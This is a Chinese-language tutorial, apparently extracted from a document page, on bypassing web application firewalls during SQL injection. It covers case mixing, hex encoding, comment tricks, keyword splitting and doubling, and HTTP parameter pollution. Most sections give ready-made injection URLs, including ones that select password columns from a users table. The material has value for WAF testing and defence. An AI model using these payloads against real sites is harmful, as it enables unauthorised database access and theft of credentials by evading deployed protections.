background image

SQL 注入中的 WAF 绕过技术详解

1.大小写绕过
这个大家都很熟悉,对于一些太垃圾的

WAF 效果显著,比如拦截了 union,那就使用

Union UnIoN 等等绕过。
2.简单编码绕过
比如

WAF 检测关键字,那么我们让他检测不到就可以了。比如检测 union,那么我们就

%55 也就是 U 的 16 进制编码来代替 U,union 写成 %55nION,结合大小写也可以绕过一

WAF,你可以随意替换一个或几个都可以。

也还有大家在

Mysql 注入中比如表名或是 load 文件的时候,会把文件名或是表明用 16 进制

编码来绕过

WAF 都是属于这类。

3.注释绕过
这种情况比较少,适用于

WAF 只是过滤了一次危险的语句,而没有阻断我们的整个查询。

01./?id=1+union+select+1,2,3/*
比如对于上面这条查询,

WAF 过滤了一次 union 和 select,那么我们在之前在写一个注释的

语句,让他把注释里面的过滤掉,并不影响我们的查询。
所以绕过语句就是:
01./?id=1/*union*/union/*select*/select+1,2,3/*
还有一种和注释有关的绕过:
比如:
01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!
4.分隔重写绕过
还是上面的例子,适用于那种

WAF 采用了正则表达式的情况,会检测所有的敏感字,而不

在乎你写在哪里,有几个就过滤几个。
我们可以通过注释分开敏感字

,这样 WAF 的正则不起作用了,而带入查询的时候并不影响

我们的结果。
01./?id=1+un/**/ion+sel/**/ect+1,2,3--
至于重写绕过,适用于

WAF 过滤了一次的情况,和我们上传 aaspsp 马的原理一样,我们

可以写出类似

Ununionion 这样的。过滤一次 union 后就会执行我们的查询了。

01.?id=1 ununionion select 1,2,3--
5.Http 参数污染(HPP)
比如我们有这样的语句:
01./?id=1 union select+1,2,3+from+users+where+id=1--
我们可以重复一次前面的

id 值添加我们的值来绕过,&id=会在查询时变成逗号:

01./?id=1 union select+1&id=2,3+from+users+where+id=1--
这种情况成功的条件比较多,取决于具体的

WAF 实现。

再给出一个例子说明用法:
01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的:
01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];
那我们可以构造这样的注入语句:
01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--